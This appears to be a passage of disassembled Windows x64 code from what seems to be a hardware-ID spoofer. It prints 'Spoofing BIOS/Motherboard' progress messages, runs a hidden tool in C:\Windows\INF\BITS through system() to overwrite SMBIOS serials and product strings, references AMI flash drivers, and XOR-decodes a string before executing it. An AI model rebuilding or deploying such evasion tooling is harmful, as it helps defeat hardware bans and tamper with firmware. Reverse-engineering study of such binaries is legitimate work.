call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa888]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa898]
movups xmmword [rbp - 0x41], xmm1
movzx eax, byte [0x1400aa8a8]
mov byte [rbp - 0x31], al
mov r8d, ebx
cmp r14d, 2
jl 0x14000d6e3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000d5f0
cmp r8d, 0x21
jge 0x14000d723
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14000d6f0
lea rcx, [rbp - 0x51]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_35
lea rdx, str.C:WindowsINFBITS_amigendrv64.sys
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_35
lea rdx, str.C:WindowsINFBITS_amifldrv64.sys
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_41
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__SU_AUTO
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Spoofing_Motherboard...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_60
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__BS__RANDOM_XE891E_RANDOM_
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.Spoofing_SM...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WS2_32.dll_gethostname
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__BM_ASUSTeK_COMPUTER_INC.
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.Spoofing_Version...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_60
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__PSN_To_Be_Filled_By_O.E.M.
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Spoofing_KRL...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_41
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__IV_A.D9
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Spoofing_BIOS...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_60
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__SP_System_Product_Name
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Spoofing_MBV...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_60
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__SF_To_be_filled_by_O.E.M.
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Spoofing_Progress2...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_50
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__BT_Default_string
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Spoofing_Progress2...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_41
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__CSK_SKU
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Spoofing_CSK...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_41
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__BV_1.0
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.Spoofing_Version_MB...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_50
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__SV_System_Version
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_System...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, 0x33
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__BLC_Default_string
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Spoofing_BLC...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_50
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__CS_Default_string
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Spoofing_Progress3...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_50
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__BP_PRIME_Z690_A
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Spoofing_Name...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_50
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__BP_PRIME_Z690_A
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Spoofing_Name...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_60
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__PAT_To_Be_Filled_By_O.E.M.
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Spoofing_Name...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov ecx, edi
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_60
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE__PPN_To_Be_Filled_By_O.E.M.
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Spoofing_Progress4...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rsp + 0x40]
call fcn.140009ac0
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
